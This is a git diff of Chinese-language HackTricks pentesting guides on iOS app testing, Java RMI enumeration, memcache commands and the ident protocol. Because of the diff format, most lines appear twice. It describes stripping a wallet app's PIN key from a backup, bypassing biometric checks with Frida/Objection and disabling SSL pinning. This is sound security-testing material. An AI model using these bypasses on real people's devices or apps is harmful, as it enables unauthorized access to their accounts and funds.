要评估应用的备份安全性,首先使用 Finder **创建备份**,然后根据 [Apple 的官方文档](https://support.apple.com/en-us/HT204215) 找到它。分析备份中可能影响应用行为的敏感数据或配置。
要评估应用的备份安全性,首先通过Finder**创建一个备份**,然后根据[Apple的官方文档](https://support.apple.com/en-us/HT204215)找到它。分析备份中可能影响应用行为的敏感数据或配置。
可以使用命令行工具或像 [iMazing](https://imazing.com) 这样的应用程序寻找敏感信息。对于加密备份,可以通过检查备份根目录中的 "Manifest.plist" 文件中的 "IsEncrypted" 键来确认是否存在加密
可以使用命令行工具或像[iMazing](https://imazing.com)这样的应用程序寻找敏感信息。对于加密备份,可以通过检查备份根目录中的"Manifest.plist"文件中的"IsEncrypted"键来确认加密的存在
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -690,11 +669,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
### 修改应用行为
通过备份修改来改变应用行为的一个例子是在[Bither比特币钱包应用](https://github.com/bither/bither-ios)中示的其中UI锁定PIN存储在`net.bither.plist`的**pin_code**键下。将此键从plist中删除并恢复备份将移除PIN要求从而提供无限制访问。
通过备份修改来改变应用行为的一个例子是在[Bither比特币钱包应用](https://github.com/bither/bither-ios)中示的其中UI锁定PIN存储在`net.bither.plist`的**pin_code**键下。将此键从plist中删除并恢复备份将移除PIN要求从而提供无限制访问。
## 关于敏感数据内存测试的总结
在处理存储在应用程序内存中的敏感信息时,限制这些数据的暴露时间至关重要。调查内存内容的两种主要方法是**创建内存转储**和**实时分析内存**。这两种方法都有其挑战,包括在转储过程或分析过程中可能会错过关键数据。
在处理存储在应用程序内存中的敏感信息时,限制这些数据的暴露时间至关重要。调查内存内容的主要方法有两种**创建内存转储**和**实时分析内存**。这两种方法都有其挑战,包括在转储过程或分析过程中可能会错过关键数据。
## **检索和分析内存转储**
@ -721,7 +700,7 @@ $ r2 <name_of_your_dump_file>
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
```
## 破损的加密
## 破损的加密技术
### 不良的密钥管理流程
@ -745,7 +724,7 @@ ios monitor crypt
**本地身份验证** 在保护远程端点的访问方面,尤其是通过加密方法,发挥着至关重要的作用。关键在于,如果没有正确的实现,本地身份验证机制可能会被绕过。
Apple 的 [**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication) 和 [**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) 为开发者提供了强大的 API以便于用户身份验证对话框并安全处理秘密数据。安全隔离区保护 Touch ID 的指纹 ID而 Face ID 则依赖于面部识别而不妥协生物识别数据。
苹果的 [**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication) 和 [**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) 为开发者提供了强大的 API以便于用户身份验证对话框和安全处理秘密数据。安全隔 enclave 保护 Touch ID 的指纹 ID而 Face ID 则依赖于面部识别而不妥协生物识别数据。
要集成 Touch ID/Face ID开发者有两个 API 选择:
@ -770,7 +749,7 @@ Apple 的 [**本地身份验证框架**](https://developer.apple.com/documentati
钥匙串提供了设置带有 `SecAccessControl` 属性的项目的能力,该属性限制对该项目的访问,直到用户通过 Touch ID 或设备密码成功身份验证。此功能对于增强安全性至关重要。
以下是 Swift 和 Objective-C 中的代码示例,演示如何将字符串保存到钥匙串并从中检索,利用这些安全功能。示例特别展示了如何设置访问控制以要求 Touch ID 身份验证,并确保数据仅在设置的设备上可访问,前提是配置设备密码。
以下是 Swift 和 Objective-C 中的代码示例,演示如何将字符串保存到钥匙串并从中检索,利用这些安全功能。示例特别展示了如何设置访问控制以要求 Touch ID 身份验证,并确保数据仅在设置的设备上可访问,前提是配置设备密码。
{{#tabs}}
{{#tab name="Swift"}}
@ -912,7 +891,7 @@ $ otool -L <AppName>.app/<AppName>
#### **Objection**
通过位于 [this GitHub page](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) 的 **Objection Biometrics Bypass**,可以使用一种技术来克服 **LocalAuthentication** 机制。该方法的核心在于利用 **Frida** 操作 `evaluatePolicy` 函数,确保其始终返回 `True` 结果,无论实际身份验证是否成功。这对于绕过有缺陷的生物识别身份验证过程特别有用。
通过位于 [this GitHub page](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) 的 **Objection Biometrics Bypass**,可以使用一种技术来克服 **LocalAuthentication** 机制。该方法的核心在于利用 **Frida** 操作 `evaluatePolicy` 函数,确保其始终返回 `True` 结果,而不管实际的身份验证是否成功。这对于绕过有缺陷的生物识别身份验证过程特别有用。
要激活此绕过,使用以下命令:
```bash
@ -1038,12 +1017,12 @@ burp-configuration-for-ios.md
### 主机名检查
验证 TLS 证书的一个常见问题是检查证书是否由 **受信任的** **CA**,但 **不检查** **证书的主机名** 是否是正在访问的主机名。\
验证 TLS 证书的一个常见问题是检查证书是否由 **受信任的** **CA**,但 **不检查** **证书的主机名** 是否是正在访问的主机名。\
为了使用 Burp 检查此问题,在 iPhone 中信任 Burp CA 后,可以 **为不同的主机名使用 Burp 创建新证书**。如果应用程序仍然可以正常工作,那么它就存在漏洞。
### 证书钉扎
如果应用程序正确使用 SSL 钉扎,则应用程序仅在证书是预期的证书时才能正常工作。在测试应用程序时 **这可能是一个问题,因为 Burp 将提供自己的证书。**\
如果应用程序正确使用 SSL 钉扎,则只有在证书是预期的证书时,应用程序才会正常工作。在测试应用程序时 **这可能是一个问题,因为 Burp 将提供自己的证书。**\
为了绕过这种保护,可以在越狱设备上安装应用程序 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 或安装 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
您还可以使用 **objection's** `ios sslpinning disable`
@ -1052,22 +1031,22 @@ burp-configuration-for-ios.md
- 在 **`/System/Library`** 中可以找到系统应用使用的框架
- 用户从 App Store 安装的应用程序位于 **`/User/Applications`**
- **`/User/Library`** 包含用户级应用程序保存的数据
- **`/User/Library`** 包含用户级应用保存的数据
- 您可以访问 **`/User/Library/Notes/notes.sqlite`** 以读取应用程序中保存的笔记。
- 在已安装应用程序的文件夹中 (**`/User/Applications/<APP ID>/`**) 您可以找到一些有趣的文件:
- **`iTunesArtwork`**:应用程序使用的图标
- **`iTunesMetadata.plist`**:在 App Store 中使用的应用程序信息
- **`iTunesMetadata.plist`**:在 App Store 中使用的应用信息
- **`/Library/*`**:包含首选项和缓存。在 **`/Library/Cache/Snapshots/*`** 中可以找到在将应用程序发送到后台之前对其进行的快照。
### 热补丁/强制更新
开发人员可以 **立即远程修补其应用程序的所有安装**,而无需重新提交应用程序到 App Store 并等待批准。\
开发人员可以 **立即远程修补其应用的所有安装**,而无需重新提交应用程序到 App Store 并等待批准。\
为此,通常使用 [**JSPatch**](https://github.com/bang590/JSPatch)**.** 但还有其他选项,如 [Siren](https://github.com/ArtSabintsev/Siren) 和 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)。\
**这是一种危险的机制,可能会被恶意第三方 SDK 滥用,因此建议检查用于自动更新的方法(如果有的话)并进行测试。** 您可以尝试下载该应用程序的先前版本以此目的。
### 第三方
**第三方 SDK** 的一个重大挑战是 **缺乏对其功能的细粒度控制**。开发人员面临选择:要么集成 SDK 并接受其所有功能,包括潜在的安全漏洞和隐私问题,要么完全放弃其好处。通常,开发人员无法自行修补这些 SDK 中的漏洞。此外,随着 SDK 在社区中获得信任,有些可能会开始包含恶意软件。
**第三方 SDK** 的一个重大挑战是 **缺乏对其功能的细粒度控制**。开发人员面临选择:要么集成 SDK 并接受其所有功能,包括潜在的安全漏洞和隐私问题,要么完全放弃其好处。通常,开发人员无法自行修补这些 SDK 中的漏洞。此外,随着 SDK 在社区中获得信任,一些 SDK 可能开始包含恶意软件。
第三方 SDK 提供的服务可能包括用户行为跟踪、广告展示或用户体验增强。然而,这带来了风险,因为开发人员可能并不完全了解这些库执行的代码,从而导致潜在的隐私和安全风险。限制与第三方服务共享的信息仅限于必要的信息,并确保没有敏感数据被暴露是至关重要的。
@ -1105,11 +1084,5 @@ otool -L <application_path>
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
今天就获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,14 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
## 在 iOS 设备上安装 Burp 证书
为了对 iOS 设备上的安全网络流量进行分析和 SSL 钉扎,可以通过 **Burp Mobile Assistant** 或手动配置来使用 Burp Suite。以下是两种方法的简要指南
@ -48,7 +40,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
### 完整网络监控/嗅探
可以使用 **Wireshark** 有效监控非 HTTP 设备流量,该工具能够捕获所有形式的数据流量。对于 iOS 设备,通过创建远程虚拟接口来实现实时流量监控,具体过程详见 [这篇 Stack Overflow 帖子](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)。在开始之前,必须在 macOS 系统上安装 **Wireshark**
可以使用 **Wireshark** 有效监控非 HTTP 设备流量,该工具能够捕获所有形式的数据流量。对于 iOS 设备,通过创建远程虚拟接口来实现实时流量监控,具体过程详见 [这篇 Stack Overflow 帖子](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)。在开始之前,在 macOS 系统上安装 **Wireshark**
该过程涉及几个关键步骤:
@ -58,7 +50,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
$ rvictl -s <UDID>
Starting device <UDID> [SUCCEEDED] with interface rvi0
```
3. 在识别 UDID 后,**Wireshark** 被打开,并选择 "rvi0" 接口进行数据捕获。
3. 在识别 UDID 后,**Wireshark** 应该被打开,并选择 "rvi0" 接口进行数据捕获。
4. 对于目标监控,例如捕获与特定 IP 地址相关的 HTTP 流量,可以使用 Wireshark 的捕获过滤器:
## 在模拟器中安装 Burp 证书
@ -70,8 +62,8 @@ Starting device <UDID> [SUCCEEDED] with interface rvi0
![](<../../images/image (534).png>)
- **拖放**证书到模拟器内
- **在模拟器内**前往 _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_,并**验证证书**
- **在模拟器内**前往 _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_,并**启用 PortSwigger CA**
- **在模拟器内**前往 _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_,并 **验证证书**
- **在模拟器内**前往 _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_,并 **启用 PortSwigger CA**
![](<../../images/image (1048).png>)
@ -92,11 +84,5 @@ Starting device <UDID> [SUCCEEDED] with interface rvi0
- 点击 _**Ok**_ 然后在 _**Apply**_
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) 轻松构建和**自动化工作流程**,由世界上**最先进**的社区工具提供支持。\
今天就获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,20 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
通过 8kSec Academy 深入了解 **移动安全**。通过我们的自学课程掌握 iOS 和 Android 安全并获得认证:
{% embed url="https://academy.8ksec.io/" %}
## 安装 Frida
**在越狱设备上安装 Frida 的步骤:**
1. 打开 Cydia/Sileo 应用。
2. 导航到管理 -> 源 -> 编辑 -> 添加。
2. 导航到 管理 -> 源 -> 编辑 -> 添加。
3. 输入 "https://build.frida.re" 作为 URL。
4. 转到新添加的 Frida 源。
4. 前往新添加的 Frida 源。
5. 安装 Frida 包。
如果您使用 **Corellium**,您需要从 [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) 下载 Frida 版本 (`frida-gadget-[yourversion]-ios-universal.dylib.gz`),并解压并复制到 Frida 要求的 dylib 位置,例如:`/Users/[youruser]/.cache/frida/gadget-ios.dylib`
@ -34,7 +28,7 @@
pip install frida-tools
pip install frida
```
安装了 Frida 服务器并且设备正在运行连接,**检查**客户端是否**正常工作**
安装了 Frida 服务器并且设备正在运行连接,**检查**客户端是否**正常工作**
```bash
frida-ls-devices # List devices
frida-ps -Uia # Get running processes
@ -140,7 +134,7 @@ console.log("loaded")
### Frida Stalker
[From the docs](https://frida.re/docs/stalker/): Stalker 是 Frida 的代码 **跟踪引擎**。它允许线程被 **跟踪****捕获** 每个函数、**每个块**,甚至每执行的指令。
[From the docs](https://frida.re/docs/stalker/): Stalker 是 Frida 的代码 **跟踪引擎**。它允许线程被 **跟踪****捕获** 每个函数、**每个块**,甚至每执行的指令。
您可以在 [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py) 找到一个实现 Frida Stalker 的示例。
@ -189,7 +183,7 @@ Stalker.flush() // this is important to get all events
[**fpicker**](https://github.com/ttdennis/fpicker) 是一个 **基于Frida的模糊测试套件**提供多种进程内模糊测试模式如AFL++模式或被动跟踪模式。它应该可以在所有Frida支持的平台上运行。
- [**安装 fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
- [**安装fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
```bash
# Get fpicker
git clone https://github.com/ttdennis/fpicker
@ -321,7 +315,7 @@ vim /Library/Preferences/Logging/com.apple.system.logging.plist
killall -9 logd
```
您可以检查崩溃记录:
您可以检查崩溃记录
- **iOS**
- 设置 → 隐私 → 分析与改进 → 分析数据
@ -343,10 +337,5 @@ killall -9 logd
- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
通过 8kSec 学院深化您在 **移动安全** 方面的专业知识。通过我们的自学课程掌握 iOS 和 Android 安全并获得认证:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,47 +1,43 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
在 iOS 设备上,应用程序之间的数据共享是通过 [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) 机制实现的,该机制分为两类:
{% embed url="https://websec.nl/" %}
- **系统范围的通用粘贴板**:用于与 **任何应用程序** 共享数据,并设计为在设备重启和应用程序卸载之间持久化数据,该功能自 iOS 10 起可用。
- **自定义/命名粘贴板**:专门用于 **在应用程序内或与共享相同团队 ID 的其他应用程序** 共享数据,并不设计为在创建它们的应用程序进程的生命周期之外持久化,遵循 iOS 10 引入的更改。
在iOS设备上应用程序之间的数据共享是通过[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)机制实现的,该机制分为两个主要类别
**安全考虑** 在使用粘贴板时起着重要作用。例如
- **系统范围的通用粘贴板**:用于与**任何应用程序**共享数据并设计为在设备重启和应用程序卸载之间保持数据这是自iOS 10以来提供的功能。
- **自定义/命名粘贴板**:这些专门用于**在应用程序内或与共享相同团队ID的另一个应用程序**之间共享数据并且不设计为在创建它们的应用程序进程的生命周期之外保持数据这遵循了iOS 10引入的变化。
**安全考虑**在使用粘贴板时发挥着重要作用。例如:
- 用户没有机制来管理应用程序访问**粘贴板**的权限。
- 为了减轻未经授权的后台监控粘贴板的风险访问限制为应用程序在前台时自iOS 9以来
- 用户没有机制来管理应用程序访问 **粘贴板** 的权限。
- 为了减轻未经授权的后台监控粘贴板的风险,访问限制为应用程序在前台时(自 iOS 9 起)。
- 由于隐私问题,不鼓励使用持久命名粘贴板,而是倾向于使用共享容器。
- 随着iOS 10引入的**通用剪贴板**功能,允许通过通用粘贴板在设备之间共享内容,开发人员可以管理数据过期禁用自动内容传输。
- 随着 iOS 10 引入的 **通用剪贴板** 功能,允许通过通用粘贴板在设备之间共享内容,开发人员可以管理数据过期和禁用自动内容传输。
确保**敏感信息不会意外存储**在全局粘贴板上至关重要。此外,应用程序应设计为防止全局粘贴板数据被误用进行意外操作,鼓励开发人员实施措施以防止将敏感信息复制到剪贴板。
确保 **敏感信息不会无意中存储** 在全局粘贴板上至关重要。此外,应用程序应设计为防止全局粘贴板数据被误用进行意外操作,鼓励开发人员实施措施以防止将敏感信息复制到剪贴板。
### 静态分析
对于静态分析,搜索源代码或二进制文件中的:
- `generalPasteboard`以识别**系统范围的通用粘贴板**的使用。
- `pasteboardWithName:create:``pasteboardWithUniqueName`以创建**自定义粘贴板**。验证是否启用了持久性,尽管这已被弃用。
- `generalPasteboard` 以识别 **系统范围的通用粘贴板** 的使用。
- `pasteboardWithName:create:``pasteboardWithUniqueName` 用于创建 **自定义粘贴板**。验证是否启用了持久性,尽管这已被弃用。
### 动态分析
动态分析涉及钩住或跟踪特定方法:
- 监控`generalPasteboard`以获取系统范围的使用情况
- 跟踪`pasteboardWithName:create:``pasteboardWithUniqueName`以获取自定义实现。
- 观察已弃用的`setPersistent:`方法调用以检查持久性设置。
- 监控 `generalPasteboard` 的系统范围使用
- 跟踪 `pasteboardWithName:create:``pasteboardWithUniqueName`自定义实现。
- 观察已弃用的 `setPersistent:` 方法调用以检查持久性设置。
需要监控的关键细节包括:
- **粘贴板名称**和**内容**例如检查字符串、URL、图像
- **项目数量**和**数据类型**,利用标准和自定义数据类型检查。
- 通过检查`setItems:options:`方法来查看**过期和本地选项**。
- **粘贴板名称** **内容**例如检查字符串、URL、图像
- **项目数量** **数据类型**,利用标准和自定义数据类型检查。
- 通过检查 `setItems:options:` 方法来查看 **过期和本地选项**
监控工具使用的一个示例是**objection的粘贴板监视器**每5秒轮询一次generalPasteboard以检查更改并输出新数据。
监控工具使用的一个示例是 **objection 的粘贴板监视器**,每 5 秒轮询一次 generalPasteboard 以检查更改并输出新数据。
这是一个简单的JavaScript脚本示例灵感来自objection的方法每5秒读取并记录粘贴板的更改
这是一个简单的 JavaScript 脚本示例,灵感来自 objection 的方法,每 5 秒读取并记录粘贴板的更改:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard
const Pasteboard = UIPasteboard.generalPasteboard()
@ -78,8 +74,5 @@ console.log(items)
- [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,17 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
今天就获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## 基本信息
_Java远程方法调用__Java RMI_,是一种面向对象的 _RPC_ 机制,允许位于一个 _Java虚拟机_ 中的对象调用位于另一个 _Java虚拟机_ 中的对象的方法。这使得开发人员能够使用面向对象的范式编写分布式应用程序。从攻击的角度来看,关于 _Java RMI_ 的简要介绍可以在 [这场黑帽演讲](https://youtu.be/t_aw1mDNhzI?t=202) 中找到。
_Java远程方法调用_或称为 _Java RMI_,是一种面向对象的 _RPC_ 机制,允许位于一个 _Java虚拟机_ 中的对象调用位于另一个 _Java虚拟机_ 中的对象的方法。这使得开发人员能够使用面向对象的范式编写分布式应用程序。从攻击的角度来看,关于 _Java RMI_ 的简短介绍可以在 [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202) 中找到。
**默认端口:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@ -131,7 +123,7 @@ $ rmg enum 172.17.0.2 9010
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的说明。根据结果,您应该尝试验证识别的漏洞。
枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的说明。根据结果,您应该尝试验证识别的漏洞。
_远程方法猜测器_显示的`ObjID`值可以用来确定服务的正常运行时间。这可能有助于识别其他漏洞:
```
@ -146,7 +138,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```
## 暴力破解远程方法
即使在枚举过程中没有发现漏洞,可用_RMI_ 服务仍可能暴露危险功能。此外,尽管与 _RMI_ 默认组件的 _RMI_ 通信受到反序列化过滤器的保护,但在与自定义 _RMI_ 服务交谈时,这些过滤器通常不存在。因此,了解 _RMI_ 服务上的有效方法签名是非常有价值的。
即使在枚举过程中没有发现漏洞,现有_RMI_ 服务仍可能暴露危险功能。此外,尽管与 _RMI_ 默认组件的 _RMI_ 通信受到反序列化过滤器的保护,但在与自定义 _RMI_ 服务交谈时,这些过滤器通常不存在。因此,了解 _RMI_ 服务上的有效方法签名是非常有价值的。
不幸的是_Java RMI_ 不支持枚举 _远程对象_ 上的方法。也就是说,可以使用像 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 这样的工具来暴力破解方法签名:
```
@ -213,7 +205,7 @@ uid=0(root) gid=0(root) groups=0(root)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
除了猜测,您还应该在搜索引擎或 _GitHub_ 上查找遇到的 _RMI_ 服务的接口或实现。_bound name_ 和实现类或接口的名称在这里可能会有所帮助。
除了猜测,您还应该在搜索引擎或 _GitHub_ 上查找遇到的 _RMI_ 服务的接口或实现。_bound name_ 和实现类或接口的名称在这里可能会有所帮助。
## 已知接口
@ -301,12 +293,4 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
今天获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,12 +1,8 @@
# Memcache Commands
# Memcache 命令
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Commands Cheat-Sheet
## 命令速查表
**来自** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
@ -14,34 +10,34 @@
遗憾的是,语法描述并不清晰,简单的帮助命令列出现有命令会更好。以下是您可以在 [source](https://github.com/memcached/memcached) 中找到的命令概述(截至 2016 年 8 月 19 日):
| Command | Description | Example |
| -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
| 命令 | 描述 | 示例 |
| -------------------- | ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------- |
| get | 读取一个值 | `get mykey` |
| set | 无条件设置一个键 | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>确保在使用 Unix CLI 工具时使用 \r\n 作为换行符。例如&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | 添加一个新键 | `add newkey 0 60 5` |
| replace | 覆盖现有键 | `replace key 0 60 5` |
| append | 将数据附加到现有键 | `append key 0 60 15` |
| prepend | 将数据前置到现有键 | `prepend key 0 60 15` |
| incr | 将数值键的值增加指定的数字 | `incr mykey 2` |
| decr | 将数值键的值减少指定的数字 | `decr mykey 5` |
| delete | 删除现有键 | `delete mykey` |
| flush_all | 立即使所有项目失效 | `flush_all` |
| flush_all | 在 n 秒内使所有项目失效 | `flush_all 900` |
| stats | 打印一般统计信息 | `stats` |
| | 打印内存统计信息 | `stats slabs` |
| | 打印更高层次的分配统计信息 | `stats malloc` |
| | 打印项目信息 | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | 重置统计计数器 | `stats reset` |
| lru_crawler metadump | 转储(大部分)缓存中所有项目的元数据 | `lru_crawler metadump all` |
| version | 打印服务器版本 | `version` |
| verbosity | 增加日志级别 | `verbosity` |
| quit | 终止会话 | `quit` |
| set | 无条件设置一个键 | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>确保在使用 Unix CLI 工具时使用 \r\n 作为换行符。例如&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | 添加一个新键 | `add newkey 0 60 5` |
| replace | 覆盖现有键 | `replace key 0 60 5` |
| append | 将数据附加到现有键 | `append key 0 60 15` |
| prepend | 将数据前置到现有键 | `prepend key 0 60 15` |
| incr | 将数值键的值增加给定的数字 | `incr mykey 2` |
| decr | 将数值键的值减少给定的数字 | `decr mykey 5` |
| delete | 删除现有键 | `delete mykey` |
| flush_all | 立即使所有项目失效 | `flush_all` |
| flush_all | 在 n 秒内使所有项目失效 | `flush_all 900` |
| stats | 打印一般统计信息 | `stats` |
| | 打印内存统计信息 | `stats slabs` |
| | 打印更高层次的分配统计信息 | `stats malloc` |
| | 打印项目信息 | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | 重置统计计数器 | `stats reset` |
| lru_crawler metadump | 转储缓存中所有项目的大部分元数据 | `lru_crawler metadump all` |
| version | 打印服务器版本 | `version` |
| verbosity | 增加日志级别 | `verbosity` |
| quit | 终止会话 | `quit` |
#### Traffic Statistics <a href="#traffic-statistics" id="traffic-statistics"></a>
#### 流量统计 <a href="#traffic-statistics" id="traffic-statistics"></a>
您可以使用命令查询当前流量统计信息
您可以使用命令查询当前流量统计信息
```
stats
```
@ -108,7 +104,7 @@ END
```
stats items
```
命令以确定存在多少个键。
确定存在多少个键的命令
```
stats items
STAT items:1:number 220
@ -120,8 +116,4 @@ END
```
这至少有助于查看是否使用了任何密钥。要从已经进行 memcache 访问的 PHP 脚本中转储密钥名称,可以使用来自 [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) 的 PHP 代码。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,16 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## 基本信息
**Ident 协议** 用于 **互联网** 上,将 **TCP 连接** 与特定用户关联。最初设计用于 **网络管理****安全**,它通过允许服务器在 113 端口查询客户端以请求有关特定 TCP 连接用户的信息来操作。
**Ident协议**用于通过**互联网**将**TCP连接**与特定用户关联。最初设计用于帮助**网络管理**和**安全**它通过允许服务器在113端口查询客户端以请求有关特定TCP连接用户的信息来操作。
然而,由于现代隐私问题和潜在的滥用,其使用已减少,因为它可能无意中向未经授权的方泄露用户信息。建议采取增强的安全措施,例如加密连接和严格的访问控制,以减轻这些风险。
